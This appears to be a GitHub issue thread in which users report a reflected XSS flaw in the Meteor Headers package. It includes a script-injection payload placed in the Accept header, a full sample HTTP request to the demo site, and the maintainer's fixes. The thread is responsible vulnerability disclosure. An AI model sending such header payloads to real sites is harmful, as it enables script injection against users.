XSS through Header Injection in the Accept or Connection Parameters

[shipcod3]

Meteor Headers is vulnerable to such attack by injecting the following PoC in the header with the Accept or Connection parameters:

*/*--></sCrIpT><sCrIpT>alert('shipcod3')</sCrIpT>

Sample Request:

GET / HTTP/1.1
Host: headers.meteor.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: */*--></sCrIpT><sCrIpT>alert('shipcod3')</sCrIpT>
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

[gadicc]

Hey, thanks for pointing this out. The good news is that although the demo website was out of date, the package itself hasn't used this method since https://github.com/gadicc/meteor-headers/commit/36116a84a66130dd4d4e3901a0bd7ebb680acdac (released in v0.0.18 on Mar 27, 2014). Headers are sent as EJSON inside a META script tag - and never evaluated - as you can verify from the site which I have updated now. So thankfully for others this issue was solved long ago but my thanks again for pointing out that the demo website was vulnerable.

[shipcod3]

Your welcome !I thought that the new package is still using the same package in the demo website that's why I decided to report it.

[hypno2000]

Hey, In demo it's still there and adding a package "gadicohen:headers@0.0.26" seems to be causing it still.

[gadicc]

Wow, this was really bad that I didn't realize this was still an issue :( As of 0.0.27, we now just drop headers that contain <script> or </script> tags (and variations of case and whitespace) - I believe this issue is resolved now and I thank you both for reporting it and checking up on me, however, despite the release, I'm still going to put a little more thought into if maybe we should rather quote rather than drop the offending string (and double check we cover all cases).